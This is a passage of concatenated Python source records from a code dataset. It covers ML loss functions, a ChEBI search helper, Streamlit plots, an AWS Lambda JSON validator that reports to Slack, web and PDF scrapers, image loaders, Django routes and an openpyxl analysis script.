0.01\n g[x[:,i]> 0,i] = 1\n return g \n \n\n \nclass softmax:\n \n @staticmethod\n def eval(x):\n \n x_scaled = x - np.expand_dims(np.max(x, axis = 1), 1)\n \n exps = np.exp(x_scaled)\n \n out = np.divide(exps, np.sum(exps,axis=1,keepdims=True))\n \n return out\n \n\nclass cross_entropy:\n\n @staticmethod\n def eval(p,y):\n yl = np.multiply(p,y)\n yl = yl[yl!=0] \n yl = -np.log(yl)\n yl = np.mean(yl)\n return yl\n\n \n @staticmethod\n def grad(p,y):\n \"\"\"\n This computes the COMBINED gradient of (d_Loss_CE/d_y_hat_k)*(d_y_hat_k/d_a_i)\n \n \"\"\"\n dLCE_do = p - y\n\n return dLCE_do\n\nclass weighted_cross_entropy:\n \n def __init__(self,class_frequencies):\n \n self.cls_freq = class_frequencies\n\n def eval(self,p,y):\n loss = np.zeros_like(y)\n for i in range(0,y.shape[1]):\n freq = self.cls_freq[i]\n scaling_factor = 1.0/freq\n loss[:,i] = scaling_factor*np.multiply(p[:,i],y[:,i])\n yl = loss[loss!=0]\n yl = -np.log(yl)\n yl = np.mean(yl)\n return yl\n\n def grad(self,p,y):\n \"\"\"\n This computes the COMBINED gradient of (d_Loss_CE/d_y_hat_k)*(d_y_hat_k/d_a_i)\n \n \"\"\"\n dLCE_do = np.zeros_like(p)\n for i in range(0,y.shape[1]):\n freq = self.cls_freq[i]\n scaling_factor = 1.0/freq\n dLCE_do[:,i] = scaling_factor*(p[:,i] - y[:,i])\n\n return dLCE_do\n\nclass distance:\n \n @staticmethod\n def eval(p,y):\n e = np.sum(0.5*(p-y)**2)/p.shape[0]\n return e\n\n @staticmethod\n def grad(p,y): \n g = -(y - p)/p.shape[0]\n return g \n\n\ndef calc_phi_k(y,f_x,k,alpha,gamma):\n \n a = np.divide((alpha-1)*(y[:,k]-1)*f_x[:,k]**gamma,1 - f_x[:,k])\n b = np.divide(alpha*y[:,k]*(1-f_x[:,k])**gamma,f_x[:,k])\n c = (gamma*(alpha-1)*(y[:,k]-1)*f_x[:,k]**(gamma-1))*np.log(1-f_x[:,k])\n d = gamma*alpha*y[:,k]*(1-f_x[:,k])**(gamma-1)*np.log(f_x[:,k])\n \n return - a + b + c - d\n\n\n \nclass focal_loss:\n \n def __init__(self,gamma,class_frequencies):\n self.gamma = gamma\n self.alpha = [1.0/(f+0.00000001) for f in class_frequencies]\n \n \n def eval(self,p,y):\n \n loss = np.zeros_like(y)\n for i in range(0,y.shape[1]):\n loss[:,i] = y[:,i]*np.log(p[:,i])*(1-p[:,i])**(self.gamma)*self.alpha[i] \\\n + (1-y[:,i])*np.log(1-p[:,i])*p[:,i]**(self.gamma)*(1-self.alpha[i])\n \n return -loss.sum()\n \n def grad(self,p,y):\n\n g = np.zeros_like(p)\n for i in range(0,y.shape[1]):\n \n phi_i = calc_phi_k(y,p,i,self.alpha[i],self.gamma)\n p_i = p[:,i]\n s = np.zeros_like(p_i)\n for k in range(0,y.shape[1]):\n \n p_k = p[:,k]\n phi_k = calc_phi_k(y,p,k,self.alpha[i],self.gamma)\n s += p_k*p_i*phi_k\n \n g[:,i] = s - p_i*phi_i\n \n return g ","sub_path":"src/cost_funcs.py","file_name":"cost_funcs.py","file_ext":"py","file_size_in_byte":4062,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"142572024","text":"from app.ws.chebi.search.curated_metabolite_table import CuratedMetaboliteTable\nfrom app.ws.chebi.search.models import CompoundSearchResultModel, SearchResource, CompoundSearchResponseModel\nfrom app.ws.chebi.search.utils import get_term_in_source, find_term_index_in_source\nfrom app.ws.chebi.types import SearchCategory, StarsCategory\nfrom app.ws.chebi.wsproxy import get_chebi_ws_proxy, ChebiWsProxy, ChebiWsException\n\n\ndef fill_with_complete_entity(chebi_id, chebi_ws=None):\n if not chebi_ws:\n chebi_ws = get_chebi_ws_proxy()\n chebi_entity = None\n try:\n chebi_entity = chebi_ws.get_complete_entity(chebi_id)\n except ChebiWsException as e:\n return None\n\n if chebi_entity:\n result = CompoundSearchResultModel()\n result.search_resource = SearchResource.CHEBI\n result.databaseId = chebi_entity.chebiId\n result.smiles = chebi_entity.smiles\n result.inchi = chebi_entity.inchi\n result.name = chebi_entity.chebiAsciiName\n formula = None\n if chebi_entity.formulae:\n formula = chebi_entity.formulae[0].data\n charge = chebi_entity.charge\n if formula and charge and charge != \"0\":\n if charge == \"+1\":\n formula = formula + \"+\"\n elif charge == \"-1\":\n formula = formula + \"-\"\n else:\n formula = formula + charge\n\n result.formula = formula\n return result\n return None\n\n\ndef fill_from_metabolite_table(index, row, result: CompoundSearchResultModel):\n result.search_resource = SearchResource.CURATED\n\n name_match_formula = row[CuratedMetaboliteTable.FORMULA_INDEX]\n result.formula = get_term_in_source(name_match_formula, index) if name_match_formula else None\n\n name_match_inchi = row[CuratedMetaboliteTable.INCHI_INDEX]\n result.inchi = get_term_in_source(name_match_inchi, index) if name_match_inchi and isinstance(name_match_inchi, str) else None\n\n name_match_chebi_id = row[CuratedMetaboliteTable.CHEBI_ID_INDEX]\n result.databaseId = get_term_in_source(name_match_chebi_id, index) if name_match_chebi_id else None\n\n name_match_compound_name = row[CuratedMetaboliteTable.COMPOUND_INDEX]\n result.name = get_term_in_source(name_match_compound_name, index) if name_match_compound_name else None\n\n name_match_smiles = row[CuratedMetaboliteTable.SMILES_INDEX]\n result.smiles = get_term_in_source(name_match_smiles, index) if name_match_smiles and isinstance(name_match_smiles, str) else None\n\n\ndef search_hits_with_search_category(search_name: str,\n search_category: SearchCategory,\n curation_table_index: int,\n response: CompoundSearchResponseModel,\n stars: StarsCategory = StarsCategory.ALL,\n ws_proxy: ChebiWsProxy = None,\n curated_metabolite_table: CuratedMetaboliteTable = None\n ):\n if not curated_metabolite_table:\n curated_metabolite_table = CuratedMetaboliteTable.get_instance()\n\n name_match = curated_metabolite_table.get_matching_rows(curation_table_index, search_name)\n if name_match:\n source = name_match[curation_table_index]\n index = find_term_index_in_source(source, search_name)\n result = CompoundSearchResultModel()\n fill_from_metabolite_table(index, name_match, result)\n response.content.append(result)\n else:\n if not ws_proxy:\n ws_proxy = get_chebi_ws_proxy()\n try:\n result = ws_proxy.get_lite_entity_list(search_text=search_name, search_category=search_category,\n maximum_results=200, stars=stars)\n except ChebiWsException as e:\n response.message = \"An error was occurred\"\n response.err = e.message\n return\n\n if result:\n entity = result[0]\n result_model = fill_with_complete_entity(entity.chebiId, ws_proxy)\n if result_model:\n response.content.append(result_model)\n","sub_path":"app/ws/chebi/search/commons.py","file_name":"commons.py","file_ext":"py","file_size_in_byte":4230,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"117081688","text":"# imports\nimport streamlit as st\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport os\nimport time\nimport multiprocessing\nimport plotly.graph_objects as go\nimport plotly.express as px\nimport seaborn as sns\nimport plotly.figure_factory as ff\nfrom PIL import Image\n\n\n#Paths to all the data files\ndata_path = os.path.join(os.getcwd(),\"data\")\npop_path = os.path.join(data_path,\"City_based_population.csv\")\nincome_path = os.path.join(data_path,\"kaggle_income.csv\")\ndiv_path = os.path.join(data_path,\"population.csv\")\n\nst.title(\"Funky Graphs, Let's get it :smile:\")\n\n#table\nIncome_df = pd.read_csv(income_path,encoding = 'latin-1')\nst.line_chart(Income_df[['Mean']])\n\nst.write(\"Data Table Attempt #1:\")\n\n# Lady's weird plot \n\nz_data = pd.read_csv('https://raw.githubusercontent.com/plotly/datasets/master/api_docs/mt_bruno_elevation.csv')\nz = z_data.values\nsh_0, sh_1 = z.shape\nx, y = np.linspace(0, 1, sh_0), np.linspace(0, 1, sh_1)\nfig = go.Figure(data=[go.Surface(z=z, x=x, y=y)])\nfig.update_layout(title='IRR', autosize=False,\n width=800, height=800,\n margin=dict(l=40, r=40, b=40, t=40))\nst.plotly_chart(fig)\n\n\n## TWO DIFF WAYS TO PLOT PIE CHARTS ##\n\n# Pie Chart with plotly.express\ndf = px.data.tips()\nfig = px.pie(df, values='tip', names='day')\nst.plotly_chart(fig)\n\n# Pie Chart with plotly.graph_objects\n\nimport plotly.graph_objects as go\n\nlabels = ['American Indian','White','Asian','Black','Pacific Islander','Two or more races','Unknown']\nvalues = [4500, 2500, 1053, 500,455,788,670]\n\nfig_2 = go.Figure(data=[go.Pie(labels=labels, values=values)])\nst.plotly_chart(fig_2)\n\n\nst.set_option('deprecation.showPyplotGlobalUse', False)\n\n# Seaborn Line Plot #\ndf = pd.DataFrame({'x': [1, 2, 3], 'y': [10, 30, 70]})\nsns.lineplot(x='x', y='y', data=df)\nst.pyplot()\n\n\n\n\n# Histogram with plotly #\n\nx1 = np.random.randn(200) - 2\nx2 = np.random.randn(200)\nx3 = np.random.randn(200) + 2\n# Group data together\nhist_data = [x1, x2, x3]\ngroup_labels = ['Group 1', 'Group 2', 'Group 3']\n# Create distplot with custom bin_size\nfig_4 = ff.create_distplot(hist_data, group_labels, bin_size=[.1, .25, .5])\n# Plot!\nst.plotly_chart(fig_4, use_container_width=True)\n\n\n# World Map Data Visualization #\ndf = pd.read_csv('https://drive.google.com/uc?id=1hSMhl-JeTCX-t72KjhasTQoL1LdWSRhw')\ndf = px.data.gapminder()\nfig_5 = px.choropleth(df, locations=\"iso_alpha\", color=\"lifeExp\", hover_name=\"country\", animation_frame=\"year\", range_color=[20,80])\nst.plotly_chart(fig_5)\n\n\n# IMAGE #\nimage = Image.open('original.png')\nst.image(image, caption='Tamu Datathon 2020 ',\n use_column_width=True)\n\n# VIDEO #\nvideo_file = open('star.mp4', 'rb')\nvideo_bytes = video_file.read()\nst.video(video_bytes)\n\n# Celeberatory BALLOONS #\nst.balloons()\n\n# BUTTON #\nif st.button('Say hello'):\n st.write('Why hello there')\nelse:\n st.write('Goodbye')\n\n# CheckList #\nagree = st.checkbox('I agree')\nif agree:\n st.write('Great!')","sub_path":"work_files/graphs.py","file_name":"graphs.py","file_ext":"py","file_size_in_byte":2955,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"237051835","text":"import json\nfrom jsonschema import Draft7Validator\nimport boto3\nimport time\nfrom botocore.vendored import requests\nimport base64\nimport os\n\n\ndef lambda_handler(event, context):\n\n # get data from Kinesis Stream\n for record in event['Records']:\n # Kinesis data is base64 encoded so decode here\n payload = base64.b64decode(record[\"kinesis\"][\"data\"])\n # print(\"Decoded payload: \" + str(payload))\n payload = json.loads(payload)\n\n try:\n typeEvent = payload[\"type\"]\n # print(typeEvent)\n schema = {}\n if typeEvent == \"page\":\n schema = getSchema(payload[\"name\"])\n elif typeEvent == \"track\":\n schema = getSchema(payload[\"event\"])\n elif typeEvent == \"identity\":\n schema = getSchema(\"identity\")\n\n errors = validate(schema, payload)\n if errors:\n errorStr = \"\"\n for error in errors:\n errorStr = errorStr + \\\n (\"Value incorrect at key \" +\n error.path[0] + \". \" + error.message + \"\\n\")\n # print(errorStr)\n\n # publish error data to s3\n s3_path = publishS3(errorStr, payload)\n\n # post error data to slack\n postSlack(errorStr, payload, s3_path)\n\n except(KeyError):\n print(\"Cannot find the schema since property is missing. \" + str(KeyError))\n\n\ndef getSchema(keyValue):\n # Assign default if empty\n if keyValue == \"\" or keyValue == None:\n keyValue = \"Default\"\n\n # Read from dynamo db that contains schemas\n dynamodb = boto3.resource(\"dynamodb\")\n table = dynamodb.Table(\"JSON_Schemas\")\n\n # Send exception back to slack and s3\n responsedb = table.get_item(\n Key={\"Property\": keyValue}\n )\n item = responsedb[\"Item\"]\n schema = json.loads(item[\"Schema\"])\n return schema\n\n\ndef validate(schema, payload):\n validator = Draft7Validator(schema)\n errors = sorted(validator.iter_errors(payload), key=lambda e: e.path)\n return errors\n\n\ndef postSlack(errorStr, payload, s3_path):\n\n # Reconstruct message to include the s3 location\n errorStr = \"Error in Message ID \" + payload[\"messageId\"] + \"\\n\" + errorStr + \"\\n\" + \\\n \"You can find the details here: https://s3-us-west-2.amazonaws.com/\"+ os.environ['S3_BUCKET'] + \"/\" + s3_path\n\n # Set the webhook_url to the one provided by Slack\n webhook_url = os.environ['WEBHOOK_URL']\n slack_data = {'text': str(errorStr)}\n\n response = requests.post(\n webhook_url, data=json.dumps(slack_data),\n headers={'Content-Type': 'application/json'}\n )\n\n if response.status_code != 200:\n raise ValueError(\n 'Request to slack returned an error %s, the response is:\\n%s'\n % (response.status_code, response.text)\n )\n\n\ndef publishS3(errorStr, payload):\n\n # Write the payload to s3\n encoded_string = (errorStr + str(payload)).encode(\"utf-8\")\n # print(encoded_string)\n s3_path = time.strftime(\"%Y%m%d-\" + payload[\"messageId\"])\n s3 = boto3.resource(\"s3\")\n s3.Bucket(os.environ['S3_BUCKET']).put_object(Key=s3_path,\n Body=encoded_string)\n return s3_path\n","sub_path":"src/validation-function/json-validation.py","file_name":"json-validation.py","file_ext":"py","file_size_in_byte":3217,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"416144914","text":"# coding:utf8\n\n\nclass Solution:\n def numRookCaptures(self, board: list) -> int:\n def search(A):\n cnt = 0\n if 'R' in A:\n R_id = [i for i, j in enumerate(A) if j == 'R'][0] # 有且仅有一个\n p_id = [i - R_id for i, j in enumerate(A) if j == 'p']\n B_id = [i - R_id for i, j in enumerate(A) if j == 'B']\n p_min_left = len(board)\n p_min_right = len(board)\n B_min_left = len(board)\n B_min_right = len(board)\n for i in p_id:\n if i < 0:\n if abs(i) < p_min_left:\n p_min_left = abs(i)\n if i > 0:\n p_min_right = i\n break\n\n for i in B_id:\n if i < 0:\n if abs(i) < B_min_left:\n B_min_left = abs(i)\n if i > 0:\n B_min_right = i\n break\n\n if p_min_left < B_min_left:\n cnt += 1\n if p_min_right < B_min_right:\n cnt += 1\n return cnt\n\n num = 0\n for row in board:\n num += search(row)\n for i in range(len(board)):\n A = [A[i] for A in board]\n num += search(A)\n return num\n\n\nif __name__ == \"__main__\":\n board = [[\".\",\".\",\".\",\".\",\".\",\".\",\".\",\".\"],[\".\",\"p\",\"p\",\"p\",\"p\",\"p\",\".\",\".\"],[\".\",\"p\",\"p\",\"B\",\"p\",\"p\",\".\",\".\"],[\".\",\"p\",\"B\",\"R\",\"B\",\"p\",\".\",\".\"],[\".\",\"p\",\"p\",\"B\",\"p\",\"p\",\".\",\".\"],[\".\",\"p\",\"p\",\"p\",\"p\",\"p\",\".\",\".\"],[\".\",\".\",\".\",\".\",\".\",\".\",\".\",\".\"],[\".\",\".\",\".\",\".\",\".\",\".\",\".\",\".\"]]\n solution = Solution()\n print(solution.numRookCaptures(board))\n","sub_path":"easy/999-available-captures-for-rook.py","file_name":"999-available-captures-for-rook.py","file_ext":"py","file_size_in_byte":1811,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"48263659","text":"import scraperwiki\nimport urllib2\nimport requests\nimport lxml\nimport ftplib\n\nftp = ftplib.FTP('ftp.noelmas.org')\nftp.login('', '')\ndirectory = '/PDF Scraping'\nftp.cwd(directory)\n\nfor filename in ftp.nlst():\n url = str(\"http://ftp.noelmas.org/PDF%20Scraping/\" + filename)\n u = urllib2.urlopen(url)\n x=scraperwiki.pdftoxml(u.read())\n r=lxml.etree.fromstring(x)\n\n keys = [\"ref\",\"address\",\"price\",\"name\",\"lender\"]\n data = []\n\n for element in r.iter('text'):\n if element.text == None:\n continue\n elif element.text.split()[0] == ':' and element.getprevious().text != 'Registered Owner(s)': \n data.append(element.text)\n elif element.text == 'Registered Owner(s)':\n names = []\n for sibling in element.itersiblings():\n if sibling.text != 'Lender(s)':\n names.append(sibling.text)\n else:\n break\n names = [x.strip('.') for x in names]\n data.append(' '.join(names))\n \n data = [x.strip(': ') for x in data]\n uniquekeys = [ 'ref' ]\n \n dicy = dict(zip(keys,data))\n scraperwiki.sql.save(uniquekeys,dicy)\n \n ","sub_path":"scraperwiki-scraper.py","file_name":"scraperwiki-scraper.py","file_ext":"py","file_size_in_byte":1199,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"218754112","text":"from matplotlib import pyplot as plt\nimport tools\n\n#显示价格的频数分布直方图 num:数据条数 d: 组距 scope: 价格范围\ndef priceGraph(num,d,scope):\n prices = tools.getprices(num)\n plt.hist(x=prices, bins=int((max(prices)-min(prices))/d))\n plt.xlim(scope[0],scope[1])\n plt.show()\n\n\n#显示价格与销量关系图 --未完成 待数据库结构优化\ndef price_comm_graph(num,scope):\n data = tools.price_comm_data(num,scope)\n prices = list(data.keys())\n comms = list(data.values())\n plt.plot(prices,comms,'bo')\n plt.show()\n","sub_path":"graphic.py","file_name":"graphic.py","file_ext":"py","file_size_in_byte":569,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"495992089","text":"\"\"\"\nA utility class to load various types of images and convert them to numpy.arrays\n\nAuthor: Sarah Kefayati\nEmail: sara61@gmail.com\n\"\"\"\n\n__author__ = \"Sarah Kefayati\"\n__email__ = \"sara61@gmail.com\"\n\nimport os\nimport shutil\n\nimport bioformats as bf\nimport javabridge as jv\nimport numpy as np\nimport pandas as pd\n\n\nclass Loaders:\n\n @staticmethod\n def lif_reader(lif_file_path, pickled_data_path):\n \"\"\"\n This function reads lif file, separates channels, series, and time points and\n converts the images into 3D numpy.arrays. It then stores the images into pickle\n files and saves their path in a pandas.dataframe.\n\n :param lif_file_path: Input lif file.\n :param pickled_data_path: Path of the folder to store pickled images.\n :return: A dataframe containing the metadata for pickled images.\n \"\"\"\n jv.start_vm(class_path=bf.JARS, max_heap_size='8G')\n md = bf.get_omexml_metadata(lif_file_path)\n o = bf.OMEXML(md)\n n_channels = o.image().Pixels.channel_count\n n_series = o.get_image_count()\n time_points = o.image().Pixels.SizeT\n size_x = o.image().Pixels.SizeX\n size_y = o.image().Pixels.SizeY\n size_z = o.image().Pixels.SizeZ\n rdr = bf.ImageReader(lif_file_path, perform_init=True)\n\n if os.path.exists(pickled_data_path):\n shutil.rmtree(pickled_data_path)\n os.makedirs(pickled_data_path)\n\n records = []\n\n for c in range(0, n_channels):\n for n in range(n_series):\n for t in range(time_points):\n img_out = np.empty(shape=(size_x, size_y, size_z))\n\n full_path_out = os.path.join(pickled_data_path, 'image_c{}_n{}_t{}'.format(c, n, t))\n\n if not os.path.exists(full_path_out):\n for z in range(size_z):\n img_out[:, :, z] = rdr.read(c=c, z=z, t=t, series=n, rescale=False)\n np.save(full_path_out, img_out, allow_pickle=True, fix_imports=True)\n\n records.append((full_path_out, c, n, t))\n\n df = pd.DataFrame.from_records(records, columns=['image_path', 'channel', 'series', 'time'])\n\n jv.kill_vm()\n return df\n","sub_path":"bioloaders/loaders.py","file_name":"loaders.py","file_ext":"py","file_size_in_byte":2265,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"300711430","text":"#! /usr/bin/python \n# -*- coding: UTF-8 -*-\n\n'''\nCreated on 2018年3月15日\n\n@author: lizhen\n'''\n\n\n\nTempStr = input(\"Please input the temp: \")\n\nif TempStr[-1] in ['F','f']:\n C = (eval(TempStr[0:-1]) -32) / 1.8\n print(\"The converted Temp is: {:.2f}C\".format(C))\nelif TempStr[-1] in ['C','c']:\n F = 1.8 * eval(TempStr[0:-1]) + 32\n print(\"The Convert F is: {:.2f}F\".format(F))\nelse:\n print(\"Error Format String !\")\n \n#圆周率\n \nr = 25\narea = 3.1415926 * r * r\nprint(\"{:.2f}m2\".format(area))\n\n#同心圆\nimport turtle\nturtle.pensize(2)\nturtle.circle(10)\nturtle.circle(40)\nturtle.circle(80)\n\n#8角星\n\nfrom turtle import *\ncolor('red','green')\nbegin_fill()\nfor i in range(8):\n fd(200)\n rt(144)\n \nend_fill()","sub_path":"example/test/TempConvert.py","file_name":"TempConvert.py","file_ext":"py","file_size_in_byte":731,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"226211438","text":"#\tStarter code for linear regression problem\n#\tBelow are all the modules that you'll need to have working to complete this problem\n#\tSome helpful functions: np.polyfit, scipy.polyval, zip, np.random.shuffle, np.argmin, np.sum, plt.boxplot, plt.subplot, plt.figure, plt.title\nimport sys\nimport csv\nimport numpy as np\nimport scipy\nimport matplotlib.pyplot as plt\nimport random\n\ndef nfoldpolyfit(X, Y, maxK, n, verbose = 1):\n\tamount = len(X)/n\n\tx_random = np.array([i for i in range(len(X))])\n\trandom.shuffle(x_random)\n\tlists_x = []\n\tlists_y = []\n\t\n\ti = 0\n\twhile i < len(X):\n\t\t\n\t\ttraining_sample = []\n\t\ttraining_sample_y = []\n\t\tfor j in range(amount):\n\t\t\ttraining_sample.append(X[x_random[i+j]])\n\t\t\ttraining_sample_y.append(Y[x_random[i+j]])\n\t\ti += amount\n\t\tlists_x.append(training_sample)\n\t\tlists_y.append(training_sample_y)\n\n\tlists_test_x = []\n\tlists_test_y = []\n\tfor i in range(len(x_random)-amount*(n-1)):\n\t\tlists_test_x.append(X[x_random[len(x_random)-i-1]])\n\t\tlists_test_y.append(Y[x_random[len(x_random)-i-1]])\n\n\tlists_x.append(lists_test_x)\n\tlists_y.append(lists_test_y)\n\n\n\tmin_mean_square_errors = []\n\tbest = [sys.float_info.max,0.0,0]\n\tbest_folds_mean_square_error = sys.maxint\n\t\n\t\n\n\tfor degree_j in range(maxK+1):\n\t\t\n\t\t#min_mean_square_error = 0\n\t\tsquare_error = 0.0\n\n\t\tfor n_i in range(n):\n\t\t\ttraining_x = []\n\t\t\ttraining_y = []\n\t\t\ttesting_x = []\n\t\t\ttesting_y = []\n\n\t\t\tfor l in range(len(lists_x)):\n\t\t\t\tif l == n_i:\n\t\t\t\t\ttesting_x = lists_x[l]\n\t\t\t\t\ttesting_y = lists_y[l]\n\t\t\t\telse:\n\t\t\t\t\ttraining_x += lists_x[l]\n\t\t\t\t\ttraining_y += lists_y[l]\n\t\t \t\n\t\t\t\n\t\t\tP = np.polyfit(training_x, training_y, degree_j,rcond=None, full=False)\n\t\t\tfor i in range(len(testing_x)):\n\t\t\t\tsquare_error += (np.polyval(P,testing_x[i]) - testing_y[i])**2\n\t\t\tmean_square_error = square_error/len(testing_x)\n\t\tmin_mean_square_errors.append(mean_square_error/n)\n\t\t\n\t\tif best[0] > mean_square_error/n:\n\t\t\tbest[0] = mean_square_error/n\n\t\t\tbest[2] = degree_j\n\t\n\tdegrees = np.array([i for i in range(maxK+1)])\n\n\tbest[1] = np.polyfit(X, Y, best[2], rcond=None, full=False)\n\t\n\tre = []\n\tX_s = sorted(X)\n\txp = np.linspace(X_s[0], X_s[len(X_s)-1], 200)\t\n\tfor i in range(len(xp)):\n\t\ty = np.polyval(best[1],xp[i])\n\t\tre.append(y)\n\n\t\n\tfig = plt.figure()\n\tmse = fig.add_subplot(211)\n\tmse.set_title(\"MSE of Each K (K = %d is the best)\"%best[2])\n\tmse.set_xlabel('k')\n\tmse.set_ylabel('MSE')\n\tmse.plot(degrees, min_mean_square_errors, '-')\n\n\tbest_function = fig.add_subplot(212)\n\tbest_function.set_title(\"Best Function (K = %d)\"%best[2])\n\tbest_function.set_xlabel('x')\n\tbest_function.set_ylabel('y')\n\tbest_function.plot(X, Y, '.', xp,re , '-')\n\t\n\tif verbose == 1:\n\t\tplt.show()\n\n\ndef main():\n\t# read in system arguments, first the csv file, max degree fit, number of folds, verbose\n\trfile = sys.argv[1]\n\tmaxK = int(sys.argv[2])\n\tnFolds = int(sys.argv[3])\n\tverbose = int(sys.argv[4])\n\n\tcsvfile = open(rfile, 'rb')\n\tdat = csv.reader(csvfile, delimiter=',')\n\tX = []\n\tY = []\n\t# put the x coordinates in the list X, the y coordinates in the list Y\n\tfor i, row in enumerate(dat):\n\t\tif i > 0:\n\t\t\tX.append(float(row[0]))\n\t\t\tY.append(float(row[1]))\n\tX = np.array(X)\n\tY = np.array(Y)\n\tnfoldpolyfit(X, Y, maxK, nFolds, verbose)\n\nif __name__ == \"__main__\":\n\tmain()\n","sub_path":"eecs349-fall16-hw3/Xinyi_Chen_hw3/nfoldpolyfit.py","file_name":"nfoldpolyfit.py","file_ext":"py","file_size_in_byte":3212,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"81549376","text":"# -*- coding:utf-8 -*-\n# 爬取6vhao.com 推荐电影\nfrom selenium import webdriver \nimport os \nimport time\nfrom selenium.webdriver.common.by import By\nfrom selenium.common.exceptions import NoSuchElementException\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.common.exceptions import TimeoutException\n\n# abspath = os.path.abspath(r\"C:\\Program Files (x86)\\Google\\Chrome\\Application\\chromedriver.exe\") \nbrowser = webdriver.Chrome() \n\nurl = 'http://www.minimp4.com/movie/top250_douban'\nwait = WebDriverWait(browser, 10)\n\ndef search(KEYWORD):\n try:\n browser.get(url)\n input = wait.until(\n EC.presence_of_element_located((By.CSS_SELECTOR, \"#search\"))\n )\n submit = wait.until(EC.presence_of_element_located((By.CSS_SELECTOR,\"#topsearch > fieldset > div > div > span > button\")))\n input.send_keys(KEYWORD)\n submit.click()\n total = wait.until(EC.presence_of_element_located((By.CSS_SELECTOR,\"#wrapp > div.jumbotron > div > div > ul:nth-child(4) > li:nth-child(8) > a\")))\n total = str((total.get_attribute(\"href\"))).split(\"/\")[-1:]\n return total[0]\n except TimeoutException:\n return search\n\ndef Operate(url):\n try:\n browser.get(url)\n except TimeoutException:\n return Operate\n \ndef main():\n KEYWORD = '电影'\n total = search(KEYWORD)\n print(total)\n newURL = 'https://www.zhongziso.com/list/'+ KEYWORD\n for i in range(1,int(total)):\n Operate(newURL+'/'+str(i))\n\n\nif __name__ == '__main__':\n main()\n\n\n\n# time.sleep(10)\n\n# browser.delete_all_cookies()\n# browser.close()","sub_path":"Spider/6vhao.py","file_name":"6vhao.py","file_ext":"py","file_size_in_byte":1689,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"523285163","text":"from django.urls import path\nfrom . import views\nfrom .views import PageDetailView, PostDetailView, PostListView, StoriesCreateView, StoriesDetailView\n\nurlpatterns = [\n path('', views.index, name='cms-home'),\n path('page/about/', views.about, name='cms-about'),\n path('page/fp/', views.fp, name='cms-fp'),\n path('updates/', PostListView.as_view(), name='post-list'),\n path('-', PageDetailView.as_view(), name='page-detail'),\n path('post/', PostDetailView.as_view(), name='post-detail'),\n path('story/', StoriesDetailView.as_view(), name='story-detail'),\n path('story/new/create/', StoriesCreateView.as_view(), name='create-story'),\n]\n","sub_path":"cms/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":699,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"130570073","text":"# coding:utf-8\r\n\r\n# ## website:\r\n# ##\r\n# ## http://openpyxl.readthedocs.org/en/default/\r\n# ##\r\n# ## environment: Python2.7.9, openpyxl-2.3.5\r\n# ##\r\n\r\n\r\n\r\n\r\nimport datetime\r\nfrom openpyxl import Workbook\r\nfrom openpyxl.compat import range\r\nfrom openpyxl.cell import get_column_letter\r\nfrom openpyxl import load_workbook # read\r\nfrom openpyxl.writer.write_only import WriteOnlyCell\r\nfrom openpyxl.comments import Comment\r\nfrom openpyxl.styles import Font\r\nimport openpyxl\r\nfrom openpyxl.chart import BarChart, Series, Reference\r\nfrom operator import is_not\r\n\r\n\r\nfilename_origin = 'None'\r\n\r\nfilename_result = 'data_analysis_result.xlsx'\r\nsheet_name_origin = 'my_origin_data'\r\nsheet_name_gmv_total = 'total_gmv_statistics'\r\nsheet_name_gmv_personal = 'personal_gmv_statistics'\r\n\r\nholer_name = 'None'\r\nuser_id = '1177845869'\r\n\r\n \r\n\r\ntable_head = [\r\n 'GMV_2015Q1', 'GMV_2015Q2', 'GMV_2015Q3', 'GMV_2015Q4',\r\n 'GMV_2016Q1', 'GMV_2016Q2', 'GMV_2016Q3', 'GMV_2016Q4',\r\n 'GMV_2015m01', 'GMV_2015m02', 'GMV_2015m03', 'GMV_2015m04', 'GMV_2015m05', 'GMV_2015m06',\r\n 'GMV_2015m07', 'GMV_2015m08', 'GMV_2015m09', 'GMV_2015m10', 'GMV_2015m11', 'GMV_2015m12',\r\n 'GMV_2016m01', 'GMV_2016m02', 'GMV_2016m03', 'GMV_2016m04', 'GMV_2016m05', 'GMV_2016m06',\r\n 'GMV_2016m07', 'GMV_2016m08', 'GMV_2016m09', 'GMV_2016m10', 'GMV_2016m11', 'GMV_2016m12' \r\n ] \r\n \r\n\r\ngmv_statistics = {'quarter':{'Q1':{'yoy':0.0}, 'Q2':{'yoy':0.0}, 'Q3':{'yoy':0.0}, 'Q4':{'yoy':0.0}},\r\n 'month':{'m01':{'yoy':0.0}, 'm02':{'yoy':0.0}, 'm03':{'yoy':0.0}, 'm04':{'yoy':0.0}, 'm05':{'yoy':0.0}, 'm06':{'yoy':0.0},\r\n 'm07':{'yoy':0.0}, 'm08':{'yoy':0.0}, 'm09':{'yoy':0.0}, 'm10':{'yoy':0.0}, 'm11':{'yoy':0.0}, 'm12':{'yoy':0.0}}\r\n}\r\n\r\n\r\n\r\ndef read_origin_and_create_new_xlsl():\r\n '''read origin data by row, and get the specific rows, write to new file'''\r\n wb_origin = load_workbook(filename=filename_origin, read_only=True)\r\n ws_origin = wb_origin.active\r\n wb_new = Workbook()\r\n \r\n sheet = wb_new.active\r\n sheet.title = sheet_name_origin\r\n \r\n r = 0\r\n for row in ws_origin.rows:\r\n c = 0\r\n r += 1\r\n li = 